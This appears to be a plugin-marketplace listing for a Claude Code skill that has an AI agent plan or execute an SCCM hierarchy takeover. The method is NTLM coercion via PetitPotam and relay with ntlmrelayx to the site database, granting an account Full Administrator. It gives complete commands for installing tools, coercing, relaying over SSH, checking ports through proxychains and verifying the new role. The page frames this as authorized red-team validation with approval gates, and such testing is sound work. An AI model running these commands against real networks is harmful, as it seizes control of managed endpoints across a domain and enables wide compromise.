/ops-sccm:sccm-takeover-relayfrom ops-sccm
Plans or executes SCCM TAKEOVER-1 hierarchy takeover validation via NTLM coercion and relay to the site database. Validates preconditions, coordinates C2 relay placement, and captures evidence.
Ships in ops-sccm. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
Use this skill to plan or execute SCCM TAKEOVER-1-style hierarchy takeover validation: coerce NTLM from a privileged SCCM site system, relay it to the site database over MSSQL, grant a chosen domain account the SCCM Full Administrator role, and verify the new role assignment.
This skill is for authorized lab validation only. It is OPSEC-sensitive and must remain tightly scoped.
Use this skill when the task mentions any of the following:
TAKEOVER-1Accept input as:
COERCION_TARGET SITE_DB_TARGET SMS_PROVIDER_OR_PROVIDER_HOST TARGET_ACCOUNT [MODE]
Mode:
plan: build the validation workflow, operator questions, and command set onlyexecute (default): perform prechecks, request approval for dangerous steps, and capture evidenceExamples:
$sccm-takeover-relay sccm-site01.corp.local sccmdb01.corp.local smsprov01.corp.local CORP\\lowpriv plan$sccm-takeover-relay 192.0.2.20 192.0.2.21 192.0.2.22 CORP\\operator executeIn a C2 context, do not proceed past planning until these are known:
ntlmrelayx server will run:internal: a host inside the target networkexternal: a host outside the target networkoperator@relay-hostIf any of the above is missing, ask the operator directly before execution. Do not guess relay placement or SSH access details.
Confirm all of the following before coercion or relay:
TAKEOVER-1:db_owner on the site DB4451433Allowed or Required on the site databasentlmrelayxPetitPotamsccmhunter and/or SharpSCCMBefore execution, determine which host will run each component:
At minimum, account for these tools:
Required or strongly preferred:
python3gitimpacket-ntlmrelayxsccmhunterPetitPotam.pync and curlTypical Kali/Debian install commands:
sudo apt-get update
sudo apt-get install -y python3 python3-pip python3-venv git netcat-openbsd curl impacket-scripts
Verify:
which ntlmrelayx.py || which impacket-ntlmrelayx
python3 --version
sccmhunterIf not already staged, clone it to the working host:
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
PetitPotamIf not already staged, clone it:
git clone https://github.com/topotam/PetitPotam.git
SharpSCCMUse only if the operator intends to run SCCM-specific checks from Windows.
If needed, stage SharpSCCM on the Windows host in advance and record:
Before execution, confirm the relay host has:
ntlmrelayx available1433445If the relay host is separate from the operator host, do not assume tooling parity. Verify install state on the relay host explicitly over SSH.
internal or external.ntlmrelayx will run and which host will launch coercion.sccmhunter on Linux to resolve the target user SID and generate the MSSQL statements.SharpSCCM when the operator is working from Windows.ntlmrelayx against mssql://<SITE_DB_TARGET> with the assembled SQL queryntlmrelayx in active relay mode is confirmation-gated.ntlmrelayx output showing:
SITE-SERVER$Full Administrator assignment via WMI/AdminService on an SMS Providersccmhunter on Linux or SharpSCCM on Windowssccmhunterpython3 sccmhunter.py mssql -dc-ip <DC_IP> -d <DOMAIN> -u '<USER>' -p '<PASS>' -tu <TARGET_USER> -sc <SITE_CODE> -stacked
ntlmrelayx on the relay hostssh <SSH_CONNECTION> "impacket-ntlmrelayx -smb2support -ts -t mssql://<SITE_DB_TARGET> -q \"<SQL_QUERY>\""
PetitPotampython3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASS> <RELAY_SERVER_IP> <COERCION_TARGET>
sccmhunterpython3 sccmhunter.py admin -u <USER> -p '<PASS>' -ip <SMS_PROVIDER_OR_PROVIDER_HOST>
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> 445
proxychains4 -q -f /etc/proxychains4.conf nc -vz <RELAY_SERVER_IP> <ALT_PORT>
If <ALT_PORT> succeeds while 445 fails, record that the current transport path appears to disallow outbound or proxied 445.
Use when the operator already has an implant, host, or pivot inside the target network that can:
445 from the coercion target1433 on the site DBThis is usually the cleaner path.
Use only when the coercion target can reach the external relay host over SMB and the site DB is reachable from that relay position.
Before execution, explicitly verify:
Do not assume an external relay path is viable just because the operator has a team server.
Require explicit operator confirmation before:
ntlmrelayx in relay modeBefore requesting approval, include:
Validation is successful only when all of the following are evidenced:
Full AdministratorIf validation is blocked before coercion:
445 failed while an alternate port on the same host succeededFor each run, include:
internal or externalAlways discuss:
Full Administrator assignmentsTAKEOVER-1: https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.mdsccmhunter: https://github.com/garrettfoster13/sccmhunterSharpSCCM: https://github.com/Mayyhem/SharpSCCMWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub specterops/skills --plugin ops-sccm3 skills in this plugin
/sccmhunter-install-localClone SCCMHunter into operating-tools and install it in a local Python virtual environment using the repository's documented setup flow./sccm-reconPerform SCCM reconnaissance and takeover prerequisite validation, including site-role mapping, provider and AdminService checks, site database separation checks, and relay-path prechecks.Other plugins' skills for the same job